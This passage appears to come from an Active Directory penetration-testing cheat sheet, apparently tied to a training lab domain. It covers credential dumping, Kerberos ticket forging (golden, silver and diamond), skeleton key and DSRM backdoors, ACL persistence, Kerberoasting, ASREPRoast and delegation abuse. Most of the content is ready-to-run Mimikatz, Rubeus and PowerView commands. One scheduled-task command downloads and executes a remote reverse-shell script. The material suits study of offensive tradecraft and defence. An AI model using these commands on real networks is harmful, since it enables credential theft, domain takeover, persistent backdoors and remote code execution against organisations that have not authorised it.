PS C:\> type C:\Inetpub\www\statusapp\web.config

Overpass The Hash

  • Overpass The Hash (Generate tokens from hashes) - make sure to run PowerShell as Administrator
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:<Domain Name> /ntlm:<NTLM hash> /run:powershell.exe"'
OR
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:<Domain Name> /aes256:<AES256 hash> /run:powershell.exe"'
OR
PS C:\> SafetyKatz.exe "sekurlsa::pth /user:Administrator /domain:<Domain Name> /aes256:<AES256 hash> /run:cmd.exe" "exit"
OR
PS C:\> Rubeus.exe asktgt /user:Administrator /rc4:<NTLM hash> /ptt        # Does not need elevation
OR
PS C:\> Rubeus.exe asktgt /user:Administrator /aes256:<AES256 hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
  • Check if the new PowerShell session is running with elevated privileges (whoami will not show this)
PS C:\> Invoke-Command -ScriptBlock {whoami} -ComputerName <Domain Controller>

DCSync

  • Execute a DCSync attack (needs Domain Admin privileges)
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
OR
PS C:\> SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"

Token Manipulation

It is possible to use/impersonate tokens available on a machine. Often tokens are available on machines due to interactive logons, accessing resources, running processes, SSO applications etc... We can use Invoke-TokenManipulation from PowerSploit or Incognito for token impersonation. Administrative privileges are required to adjust token privileges.

  • List all the tokens on a machine
PS C:\> Invoke-TokenManipulation -ShowAll
  • List all unique, useable tokens on a machine
PS C:\> Invoke-TokenManipulation -Enumerate
  • Start a new process with token of a specific user
PS C:\> Invoke-TokenManipulation -ImpersonateUser -Username "<Domain>\<username>"
  • Start a new process with token of another process
PS C:\> Invoke-TokenManipulation -CreateProcess "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId 500

#5. - Domain Persistence

Golden Ticket

A golden ticket is signed and encrypted by the hash of the krbtgt account which makes it a valid TGT ticket. A TGT provides user authentication to a Domain Controller. Since user account validation is not done by the Domain Controller (KDC service) until the TGT is older than 20 minutes, we can even use deleted/revoked accounts. The krbtgt hash can be used to impersonate any user with any privileges, even from a non-domain machine. A single password change has no effect on this attack, it must be changed twice.

  • Execute Mimikatz on DC as Domain Admin to get krbtgt hash
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <Domain Controller>
  • Use the DCSync feature as Domain Admin to get the krbtgt hash (no need to run Invoke-Mimikatz on the target DC)
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
OR
PS C:\> SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
  • Use Mimikatz to craft a golden ticket
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Domain Name> /sid:<Domain SID> /krbtgt:<NTLM (RC4) hash of the krbtgt account> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
OR
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:<username for which the TGT is generated - can impersonate anyone> /domain:<Domain FQDN> /sid:<Domain SID> /krbtgt:<NTLM (RC4) hash of the krbtgt account. Use /aes128 and /aes256 for using AES keys> id:<optional User RID (default 500)> /groups:<optional Group 513, 512, 520, 518, 519> /startoffset:<optional when the ticket is available (default 0 right now) in minutes. Use negative for a ticket available from past and a larger number for future> /endin:<optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes> /renewmax:<optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800> /ptt"'
OR
PS C:\> BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<Domain Name> /sid:<Domain SID> /aes256:<AES hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
OR
PS C:\> Rubeus.exe golden /aes256:<AES hash> /sid:<Domain SID> /ldap /user:Administrator /printcmd
OR
PS C:\> Rubeus.exe golden /aes256:<AES hash> /user:Administrator /id:500 /pgid:513 /domain:<Domain Name> /sid:<Domain SID> /pwdlastset:"11/11/2022 6:33:55 AM" /minpassage:1 /logoncount:2453 /netbios:<NetBIOS Name> /groups:544,512,520,513 /dc:<Domain Controller Hostname> /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt
  • Confirm we have access to the Domain Controller as Administrator
PS C:\> ls \\<Domain Controller>\c$

Silver Ticket

A silver ticket is signed and encrypted by the NTLM hash of the service account (end with $) which makes it a valid TGS ticket. The service account hash will allow access only to the services themselves on a particular machine.

  • Use Mimikatz to craft a silver ticket
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Domain Name> /sid:<Domain SID> /target:<target> /service:CIFS /rc4:<NTLM (RC4) hash of the service account> /ptt"'
OR
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:<username for which the TGS is generated> /domain:<Domain FQDN> /sid:<Domain SID> /target:<target server FQDN> /service:<The SPN name of service for which the TGS is to be created> /rc4:<NTLM (RC4) hash of the service account. Use /aes128 and /aes256 for using AES keys> /ptt"'
OR
PS C:\> BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<Domain Name> /sid:<Domain SID> /target:<target> /service:CIFS /rc4:<NTLM (RC4) hash of the service account> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
OR
PS C:\> Rubeus.exe silver /service:http/<Domain Controller Hostname> /rc4:<NTLM (RC4) hash of the service account> /sid:<Domain SID> /ldap /user:Administrator /domain:<Domain Name> /ptt
  • Use Mimikatz to craft a silver ticket for the CIFS SPN which will allow us to access the file system on the target
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Domain Name> /sid:<Domain SID> /target:<target> /service:CIFS /rc4:<NTLM (RC4) hash of the service account> /ptt"'
  • Use Mimikatz to craft a silver ticket for the HOST SPN which will allow us to schedule a task on the target
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Domain Name> /sid:<Domain SID> /target:<target> /service:HOST /rc4:<NTLM (RC4) hash of the service account> /ptt"'
  • Scheule and execute a task (make sure to edit Invoke-PowerShellTcp.ps1 and add a function call down the bottom on the file: Power -Reverse -IPAddress 172.16.100.60 -Port 443)
PS C:\> schtasks /S <target>        # To check if we can list the scheduled tasks

PS C:\> schtasks /create /S <target> /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"

PS C:\> schtasks /Run /S <target> /TN "STCheck"        # To run the scheduled task

PS C:\> schtasks /query /tn <taskname> /v /fo /list        # To get details about a scheduled task

Diamond Ticket

A diamond ticket is created by decrypting a valid TGT, making changes to it and re-encrypting it using the AES keys of the krbtgt account. Golden ticket was a TGT forging attacks whereas diamond ticket is a TGT modification attack. A diamond ticket is more OPSEC safe as it has valid ticket times because a TGT issued by the DC is modified, and there is no corresponding TGT request for TGS/service ticket requests as the TGT is forged.

  • Create a diamond ticket
PS C:\> Rubeus.exe diamond /krbkey:<NTLM (RC4) hash of the krbtgt account. Use /aes128 and /aes256 for using AES keys> /user:studentx /password:<password> /enctype:aes /ticketuser:Administrator /domain:<Domain Name> /dc:<Domain Controller Hostname> /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
OR
PS C:\> Rubeus.exe diamond /krbkey:<NTLM (RC4) hash of the krbtgt account. Use /aes128 and /aes256 for using AES keys> /tgtdeleg /enctype:aes /ticketuser:Administrator /domain:<Domain Name> /dc:<Domain Controller Hostname> /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt        # Using /tgtdeleg option in place of credentials in case we have access as a domain user

Skeleton Key

It is possible to patch a Domain Controller (LSASS process) so that it allows access as any user with a single password. If LSASS is running as a protected process, we can still use a Skeleton Key, but it needs the Mimikatz driver (mimidriv.sys) on disk of the target Domain Controller.

  • Use Mimikatz to inject a skeleton key (password would be mimikatz) on a Domain Controller of choice (requires Domain Admin privileges)
PS C:\> Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <Domain Controller>
  • Access any machine with a valid username and enter the password as "mimikatz" (can access other machines as long as they authenticate with the Domain Controller which has been patched and the Domain Controller is not rebooted)
PS C:\> Enter-PSSession -ComputerName <computer name> -Credential <Domain>\Administrator
  • Install the Mimikatz driver (mimidriv.sys) on disk of the target Domain Controller who is running LSASS as a protected process
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

Directory Services Restore Mode (DSRM)

There is a local administrator on every Domain Controller called "Administrator" whose password is the DSRM password. The DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed. After altering the configuration of the Domain Controller, it is possible to pass the NTLM hash of this user to access the Domain Controller.

  • Dump DSRM password (need Domain Admin privileges)
PS C:\> Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <Domain Controller>
  • Compare the Administrator hash above with the Administrator hash of below command (first one is the DSRM local Administrator)
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <Domain Controller>
  • Change the logon behaviour for the DSRM account before we can pass the hash and authenticate (since this is the local administrator of the Domain Controller, we can pass the hash to authenticate)
PS C:\> Enter-PSSession -ComputerName <Domain Controller>
PS C:\> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose
PS C:\> Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose        # if the property already exists
  • Use Mimikatz to pass the DSRM hash - make sure to run PowerShell as Administrator
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<Domain Controller name> e.g. dcorp-dc> /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

PS C:\> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

Custom Security Support Provider (SSP)

A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection. Some SSP packages by Microsoft are: NTLM, Kerberos, Wdigest, and CredSSP. Mimikatz provides a custom SSP called mimilib.dll which logs local logons, service account, and machine account passwords in clear text on the target server. All local logons on the Domain Controller are logged to C:\Windows\system32\mimilsa.log. There are two ways to do this below.

  • Drop the mimilib.dll to system32, and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
PS C:\> $packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
PS C:\> $packages += "mimilib"
PS C:\> Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
PS C:\> Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
  • Use Mimikatz to inject into LSASS (not super stable with Server 2019 and Server 2022 but still usable)
PS C:\> Invoke-Mimikatz -Command '"misc::memssp"'

AdminSDHolder (Persistence using ACLs)

Resides in the System container of a domain and used to control the permissions - using an ACL - for certain built-in privileged groups (called Protected Groups). Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of AdminSDHolder and any differences are overwritten on the object ACL. Examples of Protected Groups are: Account Operators, Backup Operators, Server Operators, Print Operators, Domain Admins, Replicator, Enterprise Admins, Domain Controllers, Read-only Domain Controllers, Schema Admins, Administrators. Well known abuse of some of the Protected Groups (all of the below can log on locally to DC). Account Operators: Cannot modify DA/EA/BA groups. Can modify nested group within these groups. Backup Operators: Backup GPO, edit to add SID of controlled account to a privileged group and restore. Server Operators: Run a command a system (using the disabled Browser service). Print Operators: Copy ntds.dit backup, load device drivers. With Domain Admin privileges (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the AdminSDHolder object. In 60 minutes (when SDPROP runs), the user will be added with Full Control to the ACL of groups like Domain Admins without actually being a member of it.

  • Add FullControl permissions for a user to the AdminSDHolder using PowerView as Domain Admin
PS C:\> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity <username> -Rights All -PrincipalDomain <Domain Name> -TargetDomain <Domain Name> -Verbose
  • Add ResetPassword permissions for a user to the AdminSDHolder using PowerView as Domain Admin
PS C:\> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity <username> -Rights ResetPassword -PrincipalDomain <Domain Name> -TargetDomain <Domain Name> -Verbose
  • Add WriteMembers permissions for a user to the AdminSDHolder using PowerView as Domain Admin
PS C:\> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity <username> -Rights WriteMembers -PrincipalDomain <Domain Name> -TargetDomain <Domain Name> -Verbose
  • Add FullControl permissions for a user to the AdminSDHolder using ActiveDirectory Module and Set-ADACL as Domain Admin
PS C:\> Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal <username> -Verbose
PS C:\> Set-DCPermissions -Method AdminSDHolder -SAMAccountName <username> -Right GenericAll -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Verbose
  • Run SDProp manually using Invoke-SDPropagator.ps1
PS C:\> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

PS C:\> Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose        # For pre-Server 2008 machines
  • Check the Domain Admins permission using PowerView as normal user
PS C:\> Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "<username>"}
  • Check the Domain Admins permission using ActiveDirectory Module as normal user
PS C:\> (Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{$_.IdentityReference -match '<username>'}
  • Abuse FullControl by adding a user to the Domain Admins group using PowerView
PS C:\> Add-DomainGroupMember -Identity 'Domain Admins' -Members <username> -Verbose
  • Abuse FullControl by adding a user to the Domain Admins group using PowerView_dev
PS C:\> Add-DomainGroupMember -Identity 'Domain Admins' -Members <username> -Verbose
  • Abuse FullControl by adding a user to the Domain Admins group using ActiveDirectory Module
PS C:\> Add-ADGroupMember -Identity 'Domain Admins' -Members <username>
  • Abuse ResetPassword by resetting a users password using PowerView
PS C:\> Set-DomainUserPassword -Identity <username> -AccountPassword (ConvertTo-SecureString "<new-password>" -AsPlainText -Force) -Verbose
  • Abuse ResetPassword by resetting a users password using PowerView_dev
PS C:\> Set-DomainUserPassword -Identity <username> -AccountPassword (ConvertTo-SecureString "<new-password>" -AsPlainText -Force) -Verbose
  • Abuse ResetPassword by resetting a users password using ActiveDirectory Module
PS C:\> Set-ADAccountPassword -Identity <username> -NewPassword (ConvertTo-SecureString "<new-password>" -AsPlainText -Force) -Verbose

Rights Abuse (Persistence using ACLs)

With Domain Admin privileges, the ACL for the domain root can be modified to provide useful rights like FullControl or the ability to run DCSync.

  • Add FullControl permissions for a user to the ACL of the domain root using PowerView as Domain Admin
PS C:\> Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity <username> -Rights All -PrincipalDomain <Domain Name> -TargetDomain <Domain Name> -Verbose
  • Add FullControl permissions for a user to the ACL of the domain root using ActiveDirectory Module and Set-ADACL as Domain Admin
PS C:\> Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal <username> -Verbose
PS C:\> Set-ADACL -SamAccountName <username> -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Right GenericAll -Verbose
  • Add DCSync rights for a user to the ACL of the domain root using PowerView as Domain Admin
PS C:\> Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity <username> -Rights DCSync -PrincipalDomain <Domain Name> -TargetDomain <Domain Name> -Verbose

# 3 permissions: Replicating Directory Changes, Replicating Directory Changes All, Replicating Directory Changes In Filtered Set
  • Add DCSync rights for a user to the ACL of the domain root using ActiveDirectory Module and Set-ADACL as Domain Admin
PS C:\> Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal <username> -GUIDRight DCSync -Verbose

# 3 permissions: Replicating Directory Changes, Replicating Directory Changes All, Replicating Directory Changes In Filtered Set
PS C:\> Set-ADACL -SamAccountName <username> -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -GUIDRight DCSync -Verbose
  • Check if we have replication rights required to run DCSync
PS C:\> Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "<username>") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
  • Execute DCSync
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:<Domain>\krbtgt"'
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:<Domain>\Administrator"'        # Can be used for any user
PS C:\> SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"

Security Descriptors (Persistence using ACLs)

It is possible to modify Security Descriptors (security information like Owner, primary group, DACL and SACL) of multiple remote access methods (securable objects) to allow access to non-admin users. Administrative privileges are required for this, and Domain Admin privileges are required for the Domain Controller. It works as a very useful and impactful backdoor mechanism. Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid. ACE for built-in administrators for WMI namespaces = A;CI;CCDCLCSWRPWPRCWD;;;SID (change SID to the correct SID)

  • Show the SDDL of a service
PS C:\> sc.exe sdshow <service>
  • Enable our user the ability to execute WMI queries on a target machine e.g. Domain Controller even without having Administrative privileges using the GUI as a Domain Admin. Consists of two parts: must have the privileges to connect to the DCOM endpoint, and must have the privileges to connect to the namespace
DCOM endpoint: Start Menu -> Component Service -> Computers -> My Computer -> Properties -> COM Security Tab -> Access Permissions -> Edit Links -> Add our user -> Click Allow for everything

Namespace: Start Menu -> Computer Management -> Services and Applications -> WMI Control -> Properties -> Security Tab -> Root -> Security -> Add our user -> Click Allow for everything -> Advanced -> Select our user -> Edit -> Applies to 'This namespace and subnamespaces'
  • Enable our user the ability to execute WMI queries on a target machine e.g. Domain Controller even without having Administrative privileges using PowerShell commands (modify ACLs to allow non-admin users access to securable objects) as Domain Admin
PS C:\> Set-RemoteWMI -UserName <username> -Verbose        # On local machine for <username>

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -namespace 'root\cimv2' -Verbose        # On remote machine for <username> without explicit credentials

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -Credential Administrator -namespace 'root\cimv2' -Verbose        # On remote machine with explicit credentials. Only root\cimv2 and nested namespaces

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -namespace 'root\cimv2' -Remove -Verbose        # On remote machine, remove the permissions
  • Check if you can execute WMI queries
PS C:\> Get-Wmiobject -Class win32_operatingsystem -ComputerName <Domain Controller>
  • Enable our user the ability to execute PowerShell Remoting to a target machine e.g. Domain Controller even without having Administrative privileges using PowerShell commands (modify ACLs to allow non-admin users access to securable objects) as Domain Admin
PS C:\> Set-RemotePSRemoting -UserName <username> -Verbose        # On local machine for <username>

PS C:\> Set-RemotePSRemoting -UserName <username> -ComputerName <Domain Controller> -Verbose        # On remote machine for <username> without credentials

PS C:\> Set-RemotePSRemoting -UserName <username> -ComputerName <Domain Controller> -Remove        # On remote machine, remove the permissions
  • Modify our user permissions on the Remote Registry service, and multiple registry keys on a target machine e.g. Domain Controller even without having Administrative privileges using PowerShell commands (modify ACLs to allow non-admin users access to securable objects) as Domain Admin
PS C:\> Add-RemoteRegBackdoor -ComputerName <Domain Controller> -Trustee <username> -Verbose        # Using DAMP (https://github.com/HarmJ0y/DAMP), with Administrative privileges on remote machine

PS C:\> Get-RemoteMachineAccountHash -ComputerName <Domain Controller> -Verbose        # As <username>, retrieve machine account hash

PS C:\> Get-RemoteLocalAccountHash -ComputerName <Domain Controller> -Verbose        # Retrieve local account hash

PS C:\> Get-RemoteCachedCredential -ComputerName <Domain Controller> -Verbose        # Retrieve domain cached credentials

#6. - Domain Privilege Escalation

Kerberoast

Offline cracking of service account passwords. The TGS has a server portion which is encrypted with the password hash of the service account. This makes it possible to request a ticket and do offline password attacks. Service accounts are many times ignored (passwords are rarely changed) and have privileged access. Password hashes of service accounts could be used to create silver tickets.

  • Find user accounts used as Service accounts using PowerView
PS C:\> Get-NetUser -SPN        # Can also use https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
  • Find user accounts used as Service accounts using ActiveDirectory Module
PS C:\> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Request a TGS
PS C:\> Add-Type -AssemblyName System.IdentityModel 
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"        # Request-SPNTicket from PowerView can be used as well for cracking with John or Hashcat
  • Display a list of currently cached Kerberos tickets, to confirm the TGS is there
PS C:\> klist
  • Export all tickets using Mimikatz
PS C:\> Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crack the Service account password
PS C:\> python.exe .\tgsrepcrack.py <wordlist> .\2-40a10000-student1@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

ASREPRoast

If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauthentication is disabled, it is possible to grab a user's crackable AS-REP and brute-force it offline. It is very rare to find this, however with sufficient rights (GenericWrite or GenericAll), Kerberos preauthentication can be forced disabled as well.

  • Enumerate accounts with Kerberos preauthentication disabled using PowerView_dev
PS C:\> Get-DomainUser -PreauthNotRequired -Verbose
  • Enumerate accounts with Kerberos preauthentication disabled using ActiveDirectory Module
PS C:\> Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
  • Enumerate the permissions for RDPUsers on ACLs that may allow us to forcibly disable Kerberos preauthentication using PowerView_dev (look for GenericAll or GenericWrite)
PS C:\> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
  • Forcibly disable Kerberos preauthentication on a user we have permissions over using PowerView_dev, then check if it worked
PS C:\> Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
  • Request encrypted AS-REP for offline brute-force
PS C:\> Get-ASREPHash -UserName <username> -Verbose
  • Enumerate all users with Kerberos preauthentication disabled and request a hash
PS C:\> Invoke-ASREPRoast -Verbose
  • Crack the hash offline using John
PS C:\> ./john hash.txt --wordlist=wordlist.txt

Set SPN

With enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything (unique in the domain). We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

  • Enumerate the permissions for RDPUsers on ACLs using PowerView_dev (look for GenericAll or GenericWrite)
PS C:\> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
  • Check if the user already has a SPN using PowerView_dev
PS C:\> Get-DomainUser -Identity <username> | select serviceprincipalname
  • Check if the user already has a SPN using ActiveDirectory Module
PS C:\> Get-ADUser -Identity <username> -Properties ServicePrincipalName | select ServicePrincipalName
  • Set a SPN for the user (must be unique for the domain) using PowerView_dev
PS C:\> Set-DomainObject -Identity <username> -Set @{serviceprincipalname='ops/whatever1'}
  • Set a SPN for the user (must be unique for the domain) using ActiveDirectory Module
PS C:\> Set-ADUser -Identity <username> -ServicePrincipalNames @{Add='ops/whatever1'}
  • Request a TGS
PS C:\> Add-Type -AssemblyName System.IdentityModel 
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"        # Request-SPNTicket from PowerView can be used as well for cracking with John or Hashcat
  • Display a list of currently cached Kerberos tickets, to confirm the TGS is there
PS C:\> klist
  • Export all tickets using Mimikatz
PS C:\> Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crack the Service account password
PS C:\> python.exe .\tgsrepcrack.py <wordlist> .\4-40a10000-studentadmin@ops~whatever1-DOLLARCORP.MONEYCORP.LOCAL.kirbi

Kerberos Delegation

Kerberos Delegation allows a machine to reuse the end-user credentials to access resources hosted on a different server. This is typically useful in multi-tier service or applications where Kerberos Double Hop is required. For example, a user authenticates to a web server and the web server makes requests to a database server. The web server can request access to resources (all or some depending on the type of delegation) on the database server as the user, and not as the web server's service account. The web server is effectively connecting to the database server impersonating/on behalf of the user. Note that, for the above example, the service account for the web server must be trusted for delegation to be able to make requests as a user.

Steps: A user provides credentials to the Domain Controller -> The DC returns a TGT -> The user requests a TGS for the web service on the web server -> The DC provides a TGS -> The user sends the TGT and TGS to the web server -> The web server service account uses the user's TGT to request a TGS for the database server from the DC -> The web server service account connects to the database server as the user.

Two types of Kerberos Delegation: Unconstrained (general/basic) Delegation which allows the first hop server (web server in our example) to request access to any service on any computer in the domain. Constrained Delegation which allows the first hop server (web server in our example) to request access only to specified services on specified computers. If the user is not using Kerberos authentication to authenticate to the first hop server, Windows offers Protocol Transition to transition the request to Kerberos. Note that in both types of delegations, a mechanism is required to impersonate the incoming user and authenticate to the second hop server (database server in our example) as the user.

Unconstrained Delegation

When set for a particular service account, unconstrained delegation allows delegation to any service to any resource on the domain as a user. When unconstrained delegation is enabled, the DC places the user's TGT inside the TGS (step 4 in the diagram). When presented to the server with unconstrained delegation, the TGT is extracted from the TGS and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user. Since the TGT is stored in LSASS, if we have local admin privileges on the computer with unconstrained delegation, we can extract the TGT of all the user's that have connected. This could be used to escalate privileges in case we can compromise the computer with unconstrained delegation and a Domain Admin connects to that machine.

  • Discover domain computers which have unconstrained delegation enabled using PowerView (must have Administrative privileges on them so we can extract TGT's)
PS C:\> Get-NetComputer -UnConstrained        # Domain Controllers will always show up as having unconstrained delegation, so ignore them
  • Discover domain computers and users (must have Administrative privileges on them) which have unconstrained delegation enabled using ActiveDirectory Module
PS C:\> Get-ADComputer -Filter {TrustedForDelegation -eq $True}        # Domain Controllers will always show up as having unconstrained delegation, so ignore them
PS C:\> Get-ADUser -Filter {TrustedForDelegation -eq $True}
  • Compromise the server where unconstrained delegation is enabled, then check if any Domain Admin or high value target TGT is available (save this in a new directory, as it is easier to view the tickets when saved to disk)
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

PS C:\> rm -Force *.kirbi        # To delete the tickets
  • Monitor for 100 seconds with a delay of 5 seconds for any incoming sessions on our compromised machine with unconstrained delegation from the user called Administrator
PS C:\> Invoke-UserHunter -ComputerName <compromised-computer> -Poll 100 -UserName Administrator -Delay 5 -Verbose
  • Save the tickets to disk once a Domain Admin or high value target connects to a service on our compromised box
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
  • Reuse the Domain Admin or high value target ticket using ptt
PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\user1\[0;2ceb8b3]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

We can trick a high privileged user to connect to a machine with unconstrained delegation using the Printer Bug. A feature of MS-RPRN (Print System Remote Protocol) which allows any domain user who is authenticated to force any machine (running the Spooler service) to connect to a machine of the domain user's choice. We can force dcorp-dc to connect to dcorp-appsrv by abusing the Printer Bug.

PS C:\> .\Rubeus.exe monitor /interval:5 /nowrap
PS C:\> .\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local
  • Copy the base64 encoded TGT, remove extra spaces (if any), and use it on our attacking machine
PS C:\> .\Rubeus.exe ptt /ticket:<base64 encoded ticket>
  • Run DCSync once the ticket is injected to confirm we are running as Domain Admin
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Constrained Delegation

When set for a particular service account, constrained delegation allows access only to specified services on specified computers as a user. A typical scenario where constrained delgation is used - A user authenticates to a web service without using Kerberos and the web service makes requests to a database server to fetch results based on the user's authorisation. To impersonate the user, Service for User (S4U) extension is used which provides two extensions to allow protocol transition from a non-Kerberos authentication to Kerberos authentication: Service for User to Self (S4U2self) - Allows a service to obtain a forwardable TGS to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION-T2A4D UserAccountControl attribute. Service for User to Proxy (S4U2proxy) - Allows a service to obtain a TGS to a second service on behalf of a user. Which second service? This is controlled by msDS-AllowedToDelegateTo attribute. This attribute contains a list of SPNs to which the user tokens can be forwarded.

